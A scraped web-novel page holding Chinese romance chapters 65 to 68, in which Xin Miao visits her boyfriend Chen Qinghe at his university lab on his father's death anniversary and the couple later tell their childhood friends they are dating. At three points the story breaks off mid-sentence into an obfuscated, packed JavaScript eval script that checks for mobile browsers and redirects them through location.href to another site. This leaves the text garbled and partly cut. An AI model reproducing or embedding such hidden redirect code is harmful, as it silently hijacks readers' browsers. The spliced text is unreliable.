冬去春来,气温逐渐增长,北京褪去了之前的凛冽,重新变得和煦起来。湖边的柳树冒了新芽儿,抽了条,风一吹,便晃晃悠悠的飘了起来。 转眼间到了四月份,4月18号,是陈青禾的二十岁生日。 从辛苗认识他以来,印象中的陈青禾是从来不庆生日的,因为半个月后的5月3号,就是陈父的忌日。他在十二岁那年过完了最快乐的一个生日,然后紧接着迎来了急转直下的人生。 辛苗原本是想帮他庆祝的,她小心翼翼的问了陈青禾的态度,他却说不用了,他不喜欢过生日,让她好好上课。辛苗并不在这件事上执拗什么,充分尊重他的意见,乖乖地在学校上了一天课。 直到5月3号那天,辛苗不太能继续心安下去了。 这是他们第一次分开过这个日子。往年时候,陈青禾就在隔壁,方蕊阿姨也在,辛苗即使见不到他,也不会过分担心。但这次不一样,陈青禾只有一个人,这意味着他要一个人熬过这漫长的24小时。虽然他一定可以,但辛苗不放心、不忍心。 当天正好是劳动节假期的最后一天,陈青禾两日前提过一句,说他后面几天假期大概率会泡汤,研二师兄课题组人都走光了,可能会拉他去帮忙。 果不其然,他说完的第二天一早,辛苗还没起床,陈青禾的微信就发过来了,说他要去实验室帮忙,不能及时回微信消息,让她有事打电话……这下反倒省事了,辛苗不用问也知道该去哪里找他了。 做了决定辛苗就没再耽搁,她翻身起床洗漱,简单收拾了一下,跟舍友打了声招呼,就拎着帆布包出门了。 平时都是陈青禾来师大找她,这回还是辛苗第一次去京大找他。两所学校之间公交地铁都没有直达的,得来回倒车。辛苗怕晕车,选择做地铁,结果假期的北京人流量大到恐怖,她换乘了三趟地铁,三趟都在夹缝中站着,更别提座位了……她自己走过一遭,才知道平常陈青禾来一趟有多不容易,但她一次都没听他抱怨过。 想到这里,辛苗想见他的心情又迫切了好几分。 路上兜兜转转了一个多小时,辛苗到京大门口的时候,已经早上十点了。作为一个普通的祖国儿女,辛苗心底对这所最高学府是有一层柔光滤镜的,所以要进门的时候她格外的心虚——总觉得会被门口保安叔叔一眼瞧出来非本校学生,直接给她拦住了。 事实证明,辛苗想多了。 她跟在一众进校门的学生身后顺利进了大门,保安叔叔连看都没看她一眼,余光都不带扫的。辛苗拍拍胸脯,总算是舒了口气。 京大校区有一定的历史了,路两旁是成排的高大梧桐树,春四月,嫩绿的叶片彻底舒展开来,遮天蔽日。辛苗一路走一路看指示牌,在一栋栋的教学楼底下转悠了好久,愣是找不到物理学院在哪儿。最后没办法,只好随机拉住了一个路过的男同学。 辛苗礼貌问:“那个,您好,麻烦问一下,物理学院在哪儿?” 男同学闻言抬起头看她,眼镜忽然一亮,抬手指着旁边那栋楼,人却一直看着辛苗:“这不就是吗?” 辛苗:“那第三实验室也在这边吗?” 男同学:“在。学妹你不是本校的吧,过来找人?” 辛苗点头:“嗯。那再麻烦问一下,第三实验室在几楼啊?” 男同学热情道:“五楼,最东边。你找物理学院的谁?我也物理学院的,没准还认识。” 辛苗:“我找大一应用物理专业的陈青禾,你认识吗?” 听见这个名字,男同学表情立马就变了。他推了推眼镜,隔着树脂镜片上上下下的将辛苗扫了好几遍,原本挺热情和善的态度也稍稍冷却了下来,甚至还连连摇了好几下头,一副很铁不成钢的架势。 辛苗傻住:“怎、怎么了吗?” 男同学叹气:“又来一个。” 辛苗:“又?” 男同学却没有多说的意思,语气颇为酸溜溜道:“你们这些女生啊……” 话说了一半,叹着气走了。 剩下辛苗一个人在原地傻眼了半天。 五分钟后,辛苗气喘吁吁的爬上了五楼。她按照那位男同学说的,沿着走廊走到最东边,果然在一扇紧闭着的门上看见了“物理学院第三实验室”的牌子。 估计是因为器材昂贵的缘故,实验室的门有里外两层,外面是一扇厚重的防盗门,门上有一片大小60平方厘米左右的面积被设计成了网格状,从外面刚好能看进去,再里面是一扇普通的木门。 此刻里边的木门开着,外头这一层防盗门紧紧锁住了。辛苗蹑手蹑脚的走上前去,抻着脖子从防盗门上的网格看进去——只见里面有一间教室那么大,不同的是只放置了一半的桌椅,另一半放置着几台复杂的仪器,上面线路杂乱,还有个不知道是做什么的筒形物体。陈青禾就正坐在其中一台的前面,他背对着门口,身上穿了件白大褂,上半身微微前倾着,一边看仪器一边低头记录着什么。他左右两侧分别坐着一男一女,三个人各守着各的仪器,时不时低声交流几句,气氛格外严肃。 辛苗不明觉厉,她缩回了脑袋,往后推了几步。她原本是想着陈青禾如果不忙的话,她就叫他一起去吃饭,刚好也快到饭点儿了。但是一看他这么忙又这么认真,辛苗就不好再打扰他了。她早上没吃早点,肚子饿得叽里咕噜响,又对这边不熟,也不好再乱跑,万一等会儿找不回来还得找人问路,怪尴尬的。 想了想,辛苗决定还是干等着吧。这会儿已经十点半了,他们中午又不可能不吃午饭,总是要出来的……辛苗非常乐观,她环顾四周,找了个能晒到太阳的地方,一屁股坐在了栏杆底下。 一墙之隔,实验室的氛围并不像辛苗想象的那么紧张。 研二师兄叫金钟,人挺会来事,不仅会维护同学关系,在导师那边也吃得开。陈青禾的一门专业课老师刚好就是金钟的硕导,老师很欣赏陈青禾,所以在得知金钟有时候需要人帮忙打下手的时候,推荐了陈青禾,如此,他一个大一生才能提前进实验室。 金钟专业是天体物理,这次主要做的是电弱相变引力波方面的研究分析,他提前搭建好了模型,然后用计算机跑数据。陈青禾他们今天主要是就是记录过程中各个节点的数值,以便做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林雪意味深长地问金钟:“呦,师哥,你怎么观察这么仔细?” 金钟耸耸肩:“没办法,小姑娘一见人就笑,看起来性格怪好的。” 他话刚落下,只听见旁边凳子在地板上滑出吱一声响。陈青禾站起身,仪器盯得久了,他眼底有些红,脸色也不怎么好,看上去隐隐泛着白,被身上的白大褂一衬,越发显得少了血色。 林雪被他这突如其来的起身吓了一条,忙问:“怎么了?” 陈青禾却没看她,侧过身问金钟:“她在哪儿?” 金钟没反应过来:“谁?学妹?” 陈青禾:“嗯。” 金钟一愣,指着门道:“就外头走廊上。” 陈青禾略一点头,连招呼都没打,二话不说转身就往外走,背影甚至有些匆忙。 门一推开,陈青禾第一眼就看见了坐在旁边的人。 她背靠着栏杆,坐在边上窄窄的台阶上,白色的帆布包被抱在怀里。她整个人蜷缩着坐在那儿,捧着手机,指尖在屏幕上点啊点的,看起来乖极了。 听见动静,她抬头望过看,待看清门口站着的人是他时,那双原本带着几分茫然的眼睛倏地亮了起来,像是瞳孔里燃起了一簇花火。她收起手机站起来,将怀里的帆布包挎在肩膀上,跺了跺有点发麻的脚,然后一路小跑到他身前。 “你结束啦!”辛苗仰着头看他,撅着嘴抱怨:“我都等你好久了!” 陈青禾瞳孔微颤,哑声问:“你怎么来了?” 辛苗脑袋一歪,故作疑惑道:“不能来吗?我想你了也不能来吗?” 陈青禾笑了,抬起手捻住她的指尖轻轻捏了捏,说:“能。” 66. 第 66 章 辛苗正准备说什么,实验室里又走出了两个人,是金钟和林雪。他俩看陈青禾急匆匆的,觉得肯定有事儿,就随之跟了出来。 旁边站着两个她不认识的陌生人围观着,辛苗下意识就想抽回手……没抽动,陈青禾不仅没松开,还抓得更紧了一些。他转过身,跟辛苗并肩站在一起,看着旁边的两人。 这幅架势就算是傻子都看得出来他俩是什么关系了。 金钟乐了:“我就说你怎么好端端突然往出走……合着学妹是来找你的啊!不介绍一下?” 陈青禾:“辛苗,我女朋友。” 他言简意赅道。说话的时候,脸上已经没了方才的笑意,重新恢复成那副冷清的模样……在不怎么亲近的面前,他一贯是这幅表情。 反而是辛苗觉得有些尴尬,笑着主动打招呼:“师兄好,师姐好。” 林雪浅笑着颔首。 金钟乐乐呵呵道:“好好好,青禾你可以啊,学妹比你可爱多了。” 陈青禾没说话,握着辛苗的手又紧了紧。 实验室离不开人,金钟聊了两句就得回去了继续盯着了。快到午饭点儿,数据也快跑完了,他很大度的表示让陈青禾不用再回去了,他跟林雪两个人守着就可以。转身进门前,又突然一个大转身,问辛苗:“诶,学妹下午回去?” 辛苗不知道他什么意思,愣了愣,说:“是。” 金钟说:“那下午师兄请你们吃个饭呗,就当谢谢青禾大放假的被我压在这加班。人不多,就咱们四个,怎么样?” 辛苗第一反应就是看陈青禾。 今天日子特殊,她也是因为担心他一个人情绪不好,为此特地过来陪着他,却没想到这位师兄是个热情的自来熟,第一次见面就要组局吃饭。辛苗并不想去,并且她知道,陈青禾肯定也一定不会想去。 果不其然。 陈青禾闻言眉心便拧了起来。 他脸色本就不怎么好,这么一来更显沉郁。 “不用了师兄,我们心领了,吃饭就算了。” 他说话向来直接,不奉承、不委婉,有什么说什么。往常或许还好,但他今天藏着心事,状态本就不佳,语气比平常还要冷漠直接一些。辛苗一度认为,他惨淡的人际关系除了他性格淡漠的缘故之外,还有一大部分原因就是他说话的方式。 金钟被拒得面色一僵,笑了下,“这么不给面子啊?” 陈青禾掀唇,刚想再说什么,手心却被人轻挠了一把。 辛苗笑盈盈地先他一步开口:“师兄你看,我大老远的找他来就是想过二人世界的,我俩刚谈没多久,你懂的~”她调皮的眨了下眼,“吃饭改天好不好,到时候我俩请你和师姐。” 伸手不打笑脸人。 金钟还能说什么? 他无奈的摇摇头,恨铁不成钢的剜了一眼陈青禾:“你这人……那行学妹,这就说定了,你可别诳我啊。” “我发誓!”辛苗竖起三根指头。 金钟哈哈一笑,跟林雪一前一后的进了实验室。 陈青禾跟在后面,两分钟不到,等他再出来的时候,身上的白大褂已经脱掉了,换上了他自己的黑色的运动短款外套。 他反身关上实验室的门,顺手将辛苗的帆布包接过来拎在手上,拉着她的手往楼下走。 “饿不饿?” “饿。等你半天没等到,我又不敢乱跑,怕等会找不回来,愣是忍住了。” “笨死了。”陈青禾评价,又问:“想吃什么?” “都可以。”辛苗想了想:“听说你们学校有个食堂很好吃,你带我去尝尝呗!” “行。” 京大本部光是食堂就有四个,其中最好吃但价格也最高的是三食堂,被学生戏称为京大宴会厅。从物理学院教学楼过去有段距离,走路得十几二十分钟。 两人并肩走在路上,春日的暖阳从树叶缝隙照过来,在发顶上洒了一片金色。辛苗今天穿了件白色薄毛衣,牛仔裤,她个头算不上太高,但胜在比例好,站在陈青禾边上比他矮大半个头,远远看去,身高差很是和谐。 一路上,陈青禾都没怎么说话。 他眼圈隐隐泛着青黑,估计是这两天都没能休息好。 辛苗见他沉默着,有心想让他纾解,便随便找了个话题。 辛苗:“刚才那个学长就是你说的老是叫你帮忙师兄?他看起来比你大好多。” 陈青禾:“嗯,研二。” 辛苗:“怪不得,那旁边的那个学姐呢?” 陈青禾:“大三的,天文社社长。” 辛苗:“哇,好厉害。” 陈青禾看她一眼:“你也很厉害。” 辛苗问:“我?我怎么了?” 陈青禾:“两句话就把金钟哄好了,那人不是你?” 辛苗这才知道刚那位学长叫金钟。 她装傻:“我可没哄,我说的是事实,本来就是专程来找你的。我只想跟你一起吃饭,不想跟别人。” 陈青禾笑了,觑她:“你不是说改天请人家?” 辛苗一窘:“缓兵之计……我那是为了谁?!” 陈青禾很承情的道:“为了我。” “知道就好。”辛苗顿了顿,还是没忍住,劝他:“其实我觉得那个学长人看起来还不错,挺热情的,又是你直系师兄……你跟人家说话别那么冷漠。” 陈青禾沉默片刻,才说:“我知道。我只是今天,有些心情不好。” 辛苗自然知道他为什么心情不好。 但不约而同的,他们都没有提起那件事。 辛苗抿抿唇,什么都没能说得出口,语言在实质性的痛苦面前是最为不堪一击的东西。她只是的安静的陪在他身边,将被陈青禾握在掌心的那只手轻轻抽了来,改成十指相扣的姿态,重新跟他牢牢扣在一起。 两人一起去餐厅吃了饭,结束之后,不到两点。陈青禾提议带着辛苗在京大校园转转,毕竟建校百余年,有很多复古建筑特别有韵味,还有特别有名的燕停湖。 可等到真正转起来的时候,辛苗才发现自己还是太年轻,没能真正领会到这座顶级学府的“实力”。且不说其他地方,单单一个燕停湖,就比她想象的大好——几倍,还有塔、亭子、甚至是湖心岛。半圈转下来,辛苗就有点儿走不动了。 前方不远处刚好有个亭子,辛苗一高兴,脚下步子不由得加快了几分,刚想叫陈青禾过去坐会儿,结果一个不察,脚下绊到了一块不知道从哪儿来的石头上,整个人重心一歪,右脚顺势趔了下。 她吓得倒吸一口冷气,还没反应过来,胳膊就被陈青禾一把拽住,好悬没栽倒下去。 “没事吧 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他昨天失眠到半夜,后来好不容易睡着了,又频频做着噩梦,今天一大早又按时去了实验室……一整天,他的大脑都混沌着,就连盯数据都是凭借着本能去做。直到见到辛苗,才终于松懈了一些。这会儿一停下来,那股困意便再也忍受不住,他疲惫的卸了力气,闭上眼,放松身体靠在并不舒服的木头上。 隔了会儿,旁边传来女生小心翼翼的声音:“陈青禾,你是不是累了?” 陈青禾眼睛没睁,嗓音困倦道:“嗯,有些。” 辛苗问:“下午不去实验室可以吗?” 陈青禾说:“可以,已经跟金钟说过了。” 静了半分钟,辛苗嗫嚅道:“要不我还是回学校吧,这样你就可以回宿舍去睡觉了。” 陈青禾眼皮骤然掀开,他坐直了身子,“回去做什么?” 辛苗心疼道:“我觉得你需要好好睡一觉。” 陈青禾却说:“不回,舍友会在宿舍玩游戏,还不如实验室安静。” “那怎么办?”辛苗问,想了想,她眼睛一亮:“要不,我们去开个房间吧!” 陈青禾目光一凝,面色瞬间冷了下来,细究的话,还带着一丝不甚明显的危险意味。他下巴绷紧,视线锁在她脸上,语气很重地告诫道:“辛苗,不许胡说。” 辛苗这才意识到自己的话究竟有多让人产生。她整个饱满的脸颊以肉眼的可见的速度红了起来,两手左右胡乱摆着:“不是不是,我的意思是,给你找个能好好睡觉的地方。只是睡觉,你别多想!” “真想让我睡觉?”陈青禾问。 辛苗重重点头,“嗯,想。” 陈青禾抿唇,“那你坐过来些。” 辛苗听话的屁股往过挪了二十公分。 “再过来一点。” 辛苗又挪了二十公分。 这回,她跟陈青禾之间彻底成了零距离。她的肩膀紧挨着他的,手臂也紧贴着他身侧。 辛苗眨眨眼,“然后?” 然后,下一秒,陈青禾就靠在了她的肩膀上。 “这样就可以了。”他说。 鼻尖萦绕着辛苗身上独一无二味道,淡淡的。 陈青禾疲惫地闭上了眼睛,原本复杂难安的心情在这一刻终于彻底平静下来,没一会儿,他便跌入了沉沉的梦乡。 67. 第 67 章 五一收假之后,气温就一直向上攀升着,直到步入六月,彻底突破30度大关,与之一起的,就是到来的考试月。师大的期末安排要求在六月底之前,各院系考完放假,莘莘学子在一声欢呼后,紧锣密鼓的一头扎进到了年终复习里头。 辛苗在网上看过有人这么形容期末,大意是说,平常的日子就像是在泡脚,一到期末,就得把泡了一学期的洗脚水通通喝下去。 虽然有点夸张,但大差不差。 好在辛苗不是那种平时不怎么学期末临时抱佛脚的人,所以复习起来还算游刃有余,最起码不用肝到凌晨两三点。饶是如此,整个考试下来,她人都快累虚脱了。 陈青禾最后一门考试在两天后,辛苗等他考完,两人一起买票回家。 暑假漫长炎热,辛苗在家无所事事的瘫了一周多,然后又去她妈店里帮忙打下手,顺便解决午饭。大学假期没什么作业,也不用预习复习,辛苗彻底空闲下来,空调一开,窝在小饭馆里门也不出去。陈青禾也时常过来帮忙,但他自律很多,晨跑读书样样不落,甚至还自学着做饭等晚上方蕊回家吃……也不知道哪儿来的那么多精力。 有天中午,饭馆没人,辛苗趴在桌上玩她的开心消消乐,赵锦华被她那音效吵得心烦,实在没忍住,恨铁不成钢道:“一天天就知道玩这种没营养的游戏,看看人家青禾!” 辛苗从小到大听过无数遍这种话,早都免疫了,百忙之中抬起头来:“陈青禾又怎么了?” 赵锦华:“人家每天早晨去锻炼,然后回去读书,下午还过来给我帮忙,就这,晚上等你方蕊阿姨到家,青禾还把饭做好屋子收拾好,你再看看你!” 辛苗疑惑:“我没给你帮忙吗?” 赵锦华气结:“说得是帮忙的事吗?让你跟人家学着规划时间,多钻研学问,技多不压身!” 辛苗一局游戏结束,没过关,还耗费了一格体力。她顿时不服输地重开一局:“陈青禾那样的人能有几个?摊个我这样的你就知足吧哈。” “厚脸皮!”赵锦华被她逗乐了,末了,幽幽一叹:“也不知道那么优秀的男孩子,最后能便宜了谁家姑娘。” 辛苗手上一抖,手机直接砸到了脸上。 她悻悻然地摸了摸鼻子,在她妈狐疑的目光中,沉默的像只鹌鹑。 - 七月底,裴松放假回来,辛苗叫上了幸福巷四人组一起吃了顿饭。 自从他们几个读大学之后,几乎就没怎么见过裴松。包括今年过年的时候,他也在外实习没回来,时隔将近一年,四人聚齐,辛苗在看见他的那一瞬间差点没认出来。 瘦了、黑了,原本那一头比较长的时髦发型直接剃成了寸头,整个一精神面貌大变。如果不是知道他是在工地实习,辛苗差点以为他刚退伍回来。 裴松学的铁路桥梁相关,实习的地方特偏远,还都在野外,据他说,每天两眼一睁就是干,干完就睡,工资倒是可观,就是没地方花,干脆全寄回家给他爸妈。他一实习赚钱,他爸的压力小了很多,跑起长途也不像以前那么没日没夜连轴转了。 辛苗听完,感动的差点哭出来:“真好,一年不见你长大了,我也终于欣慰了。” 裴松被她这副老气横秋的长辈口吻直接气笑了,他咬牙看辛苗:“你又皮了是吧?” 辛苗:“本来就是,还不能夸你两句?” 裴松都懒得说:“你要夸就好好夸。” 这俩一见面就开始掐,其他俩人早就见怪不怪了。 祝楠楠熟门熟路的开始劝架:“行了行了,菜还没上你俩又吵起来了是吧?辛苗你少说两句,裴松你让着她点!” 裴松倒不是不让,他俩从小吵到大,早都习惯了,无论对方说个什么,彼此第一反应就是找茬,成了思维定势了,一时半会改不了。 但他好歹是个男的,又比她大一岁,决心退一步,大度一回。裴松手一挥:“停,休战可以吗?” 辛苗也立刻见好就收:“行叭。” 两人终于熄火,其他两位看客也终于松了口气。 不多时,服务员上完菜,裴松喊着又要了几瓶啤酒。他这大半年在工地,前不着村后不着店,唯一的乐趣就是被老大哥们带着喝酒,喝着喝着,习惯了,一吃好的就想来两罐。但他不劝旁人,就自己喝。 服务员拿来了两瓶易拉罐装的啤酒,离开时妥帖的关上了小包间的门。房间里霎时静了下来,只有裴松扣开啤酒时液体冒气的声音。 他喝了一口,问:“怎么样你们,这一年有没有什么新鲜事?” 祝楠楠摇摇头:“没有,不就是换了一个地方上学,能有什么新鲜的。” 裴松看向陈青禾:“兄弟,你呢?” 陈青禾淡淡道:“一切都好,只是……辛苗,你说吧。” 裴松和祝楠楠将视线转向辛苗,只见一向在熟人面前小话唠的她竟然难得卡壳了。 辛苗缩着脖子,整个人看起来有点忸怩。 裴松问:“你有什么事儿?” 祝楠楠却没出声,她观察到辛苗慢慢红起来的脖根,又觑了旁边一脸云淡风轻但不怎么能压得住唇角的陈青禾一眼……整个人忽然醍醐灌顶茅塞顿开! 她激动地一把抓住辛苗的手腕,眼睛快要瞪脱窗似的。 辛苗跟她四目相对,闭上眼郑重的点了点头。 祝楠楠:“!!!!!” 辛苗:“姐妹,淡定,淡定。” 裴松越发好奇:“你俩打什么哑谜呢?” 辛苗清了清嗓子,看一眼陈青禾:“那我说了啊。” 裴松急道:“赶紧的!别卖关子!” 辛苗:“好吧,其实今天叫大家吃饭,主要是想宣布一件事。” 祝楠楠:“!!!!!” 裴松:“什么事?” 辛苗深吸一口气,赧然道:“那个,我谈恋爱了,跟……” 后面三个字却被裴松平地一声吼打断。 他手上没控制住力道,易拉罐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387872|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓶子被捏得变了形,裴松一副难以置信的样子:“谁?你?谈恋爱了?真的假的?” 辛苗忍住翻白眼的冲动:“……是真的。” 却不想裴松直接变得严肃起来:“哪个男看上你了?你大学同学?人品怎么样?我可告诉你,现在男的没几个好东西,哪怕是你们重点大学,人渣也不少,你别被骗了。” 辛苗:“………” 祝楠楠:“………” 陈青禾眉梢一挑,问:“怎么骗?” 裴松想都没想就说:“还能怎么骗?谈没多久就叫出去开房间,这种事儿在我们那垃圾学校特常见。你看她那副样子,蠢兮兮的,一天到晚上蹿下跳,一看就好骗……你搬来的晚不知道,她幼儿园的时候跟我们班那个忘了叫什么的小男生玩的特别好,每天傻不拉几从家里带好吃的过去给人家吃,结果呢?人家转头就把她的零食送给了别的小姑娘,给咱辛苗气的,都哭了呢……不信你问祝楠楠。” 祝楠楠两眼一黑,憋住笑:“我不知情啊……裴松我真心建议你少说两句。” 辛苗忍不了了,整个人又羞又窘。这货在陈青禾面前揭她老底,幼儿园的事亏他还记得这么清楚……是可忍孰不可忍!辛苗朝他疯狂挤眼:“大哥,我现在已经快二十了!几百年前陈芝麻烂谷子的事儿能别提了吗?” 裴松一脸恶心:“不提就不提,你朝我挤眉弄眼干嘛?” 辛苗:“…………” 祝楠楠:“…………” 她憋笑憋的快要疯掉了! 裴松:“所以,那男的是谁?说说,哥替你把把关。” 陈青禾抿了一口招待茶水,放下纸杯。 他看向旁边的辛苗……她一副气鼓鼓的模样,脸都红了,像只涨气的小河豚。陈青禾伸手在她后颈捏了捏,眸色沉沉,却笑问:“幼儿园就有喜欢的小男生了?嗯?” 辛苗缩起脖子:“没有喜欢!就只是玩的好。” 陈青禾略一点头,继续问:“有多好?从家里偷偷带零食给人家吃的那种好?” 辛苗小声辩驳:“……我不也给你带过。” 陈青禾垂眸看她一眼:“嗯,可以的。” 辛苗:“什么?” 陈青禾淡淡道:“拿我跟他相提并论,你可以的。” 辛苗:“…………” 俩人你一句我一句的,语气又很奇怪,裴松这会儿再傻也觉出不对劲了。 他摸了摸发麻的后脖子:“等等,你俩这是在干嘛?我们不是正说辛苗男朋友的么?” 陈青禾抬眼,面色不改,用他那副独有的轻描淡写的语气扔下一记重磅炸弹:“嗯。她男朋友,是我。” 裴松:“……………” “哈哈哈哈哈哈哈不行了我要哈哈哈哈裴松你是不是傻哈哈哈哈哈哎呦妈呀!”祝楠楠笑得前仰后合,成功的从凳子上摔了下去。 辛苗将她拽起来,绝望地闭上眼。 这一个两个的,都算是什么朋友!!! 68. 第 68 章 这顿到最后在一种相当诡异的氛围中结束了。 裴松不回家,要去学校,人都往前走了一截儿了,又重新折返回来确认:“你俩没诓我?真谈了?” 陈青禾说:“谈了。” 裴松这个见风使舵的,这下再也不说要帮辛苗把关了。他看看陈青禾,又看看辛苗,最后再看看陈青禾,抬手在他肩上沉重的拍了拍:“兄弟,你自求多福。” 辛苗:“……好走不送!” 送走裴松,祝楠楠也笑够了。 临近八点,天还亮着,三人一起往回走。 辛苗和祝楠楠挤在一起说小话,陈青禾错开他们半步,走在后面。 祝楠楠:“什么时候在一起,怎么现在才说?” 辛苗:“也没多久,今年年初返校。” 祝楠楠:“半年了!你才跟我说!我还是不是你最好的朋友了?” 辛苗心虚地摸鼻子:“……我主要是想等我们稳定一点再说,万一刚说完,就黄了,那多尴尬?” 祝楠楠冷笑:“呵呵,就陈青禾?跟你黄?火星撞地球可能他都不可能。” 辛苗嘿嘿一笑,谦虚道:“那也没有这么绝对。” 祝楠楠翻白眼:“别秀了别秀了。” 辛苗:“哈哈哈哈嘿嘿。” 傻笑了会儿,辛苗突然想起一件事。 “裴松和顾优还谈着吗?这次怎么没见他带着来。” 祝楠楠努努嘴:“好像是分了。” 辛苗一愣,脑海中浮现起顾优恬静的样子,她对那个女孩印象有点特殊,大概是她是她见过第一个抽烟的女生,所以记得深刻。“什么时候的事?为什么?” 祝楠楠回想了一下:“挺久了,具体的我也不清楚,好像是后来一直吵架,就分了……感情这种事,谁说的准呢。” “也是。”辛苗有些唏嘘。 她俩全程压着嗓子说的,陈青禾听不太清,只能偶尔捕捉到某个字句。他并不怎么好奇她俩之间的小话,注意力却被辛苗的发尾吸引着。 小的时候她总是一头齐耳短发,发质偏硬,量也多,总是毛毛躁躁的。无数次,她顶着那颗毛躁的妹妹头在这条巷子里横冲直撞,有时候会撞到他面前来一个急刹,堪堪停下。每当那时,她的短发就会因为惯性向前飞起,等站稳时,原本就不怎么服帖柔顺头发便会更凌乱上几分。 陈青禾记得,好像是初三暑假,她去她外婆家住了好久,那时候他们因为某件小事冷战着,大半个暑假都没有联系。等她再回来时,身形抽条了,头发长了,从齐耳到齐肩,再到最后扎成马尾,之后就再也没剪短过,一直维持着这种到背部中间的长度,高高扎起在脑后,沉甸甸的,走起路来发梢在背上点啊点的……就像现在这样。 陈青禾恍然抬起手,辛苗跳跃的发尾从他指腹上划过,痒痒的,这触感让他弯了下唇角。 慢悠悠走回到巷子的时候,天彻底黑了下来。祝楠楠家住的靠里头,辛苗跟陈青禾一路把她送到了家门口。祝楠楠临进门之前,辛苗突然想起一件事,急忙抓住她的胳膊叮嘱:“千万别告诉你爸妈哈。” 祝楠楠疑惑:“为什么不能说?你俩要搞地下恋啊?” 辛苗嫌解释起来又得说半天,干脆含糊道:“哎呀你别管,反正先别说,知道吗你个大漏勺!” 祝楠楠:“……行行行知道了,那我回去了啊。” 辛苗挥手:“去吧,拜拜。” 眼看着她进了家门,辛苗才转过身,和陈青禾折返回去往筒子楼走。天热,一路走回来,她背上细细密密起了一层汗,只想赶紧到家去冲个澡,但稍微一加快速度,汗流得更多了,辛苗整个人都有点无奈。 她忍不住抱怨道:“暑假什么都好,就是太热,太阳跟不要钱似的晒。” 陈青禾应了声“嗯”,他走在她旁边,一路沉默着,有些心不在焉,不知道在想什么。 辛苗问:“怎么了?” 陈青禾说:“没什么?” 辛苗:“少来,一看你就有心事,说呗。” 陈青禾抬眼,眸里沾着几分戏谑,似笑非笑的样子,问:“那个男生是谁?巷子里的?我认识吗?” 辛苗没反应过来:“哪个男生?” 陈青禾随口道:“幼儿园。” 辛苗:“…………” 她无语了好一阵子,才继续道:“大哥,你不至于吧?那都多少年前了?而且人家也不是巷子的,具体是哪儿我忘了……我连名字和长相都记不清了。” 陈青禾端详她好一会儿,才收回视线,冷嗤一声:“谁是你大哥?” 辛苗吐了下舌头:“好吧,我男朋友。所以,我男朋友是不是吃醋了?” 陈青禾无比淡然:“没有。” 辛苗不信:“真的没有?谁撒谎谁是猪哦。” 她笑出了一副小人得志的模样,傻乎乎的。 陈青禾不欲与她争辩谁是猪的幼稚问题,事实上,相比起这个,更令他介怀的是另一件事。他唇角向下压着,下巴紧绷,隔了会儿,问:“所以,为什么不能让家里人知道?” 辛苗粗神经,并未察觉到他的情绪,闻言老实说:“这样不挺好的,就像之前一样,多自在。但如果两家父母知道了的话,相处起来多多少少都会有点改变吧,我怕咱俩会尴尬。” 陈青禾点了点头,算是接受她的答案,却说:“迟早的事。” 辛苗:“但能迟还是迟一些吧,我尴尬……而且,万一咱俩吵架分手什么的,家里人也跟着一起……不行不行,想想就会很别扭,还是瞒着好。” 她说完,陈青禾停下脚步。 他刚好站在路灯底下,顶上的光照下来,略长了些的刘海在脸上落下了一片阴影,刚好遮住了他的眉眼。辛苗看不见他上半张脸的表情,却能听见他身音很沉很重的强调了句:“没有万一。” 辛苗一时间怔住:“什么?” 陈青禾薄唇抿直,掀开:“没有万一,我们不会分手。” 说完,罕见的没等辛苗,沉默地迈着步子向前走去。 辛苗站在原地愣了好一会儿,才后知后觉的发现,陈青禾好像是生气了——因为她随口做出分手的假设。 自知理亏,辛苗赶紧追了上去。 陈青禾却一反常态,没有了要迁就她的意思。他身高腿长,跨一步顶上辛苗一步半,平常他一直放缓了步调随着她,现下生气了,不等她了,辛苗好辛苦才能跟上他的步伐。 “你生气了?” “……” “陈青禾,你应个声啊。” “嗯。” “……” 还就真的只是应了个声。 以辛苗这么多年对他的了解,陈青禾这人真生气起来,是冷的。别说应声了,就是在他面前火山爆发他也不会看一眼。能开口就说明应该不是特别生气,最起码能哄好。辛苗有些想笑,又怕笑出声来陈青禾更不搭理她,只得憋住,一路小跑着追在他屁股后面。她也不急着道歉了,有点犯皮,起了逗他玩的心思。 辛苗踩着他的影子,仰头问:“你就嗯一声就完啦?” 陈青禾:“嗯。” 辛苗又说:“又嗯……那嗯嗯嗯嗯一二三四个音调,你发的是哪个调啊?” 陈青禾估计是懒得理会她,脚步一错不错的继续向前。 辛苗不怕死,继续老虎头上拔毛:“哎呀问你话呢,你怎么不回答?” 陈青禾忽地顿住脚步。 辛苗不察,没刹住车,直直撞在了他背上,鼻尖一疼,她抬手捂住,倒打一耙:“怎么又停了?” 陈青禾居高临下地睨她,冷声叫她的名字:“辛苗,好玩吗?” 辛苗心虚,松开手,鼻头有点泛红,“还好吧……你也没给回应。” 陈青禾视线定到她多灾多难的鼻子上,“疼吗?” 其实就碰上那一下有一丢丢疼,很快就没感觉了,但辛苗睁眼说瞎话,故意闷声道:“有点儿。” 结果却被陈青禾一眼看穿,淡声送她两个字:“活该。”说完,又继续向前走。 看来气还没消…… 辛苗咬咬牙,一跺脚:“哎呀我错了嘛!” 陈青禾的声音从前面飘过来:“错哪儿了?” 辛苗追上去乖乖认怂:“我不该乱说话,我们不会分手的!” 陈青禾脚步慢了下来,没看她,却极轻地说了句:“嗯,知道就好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 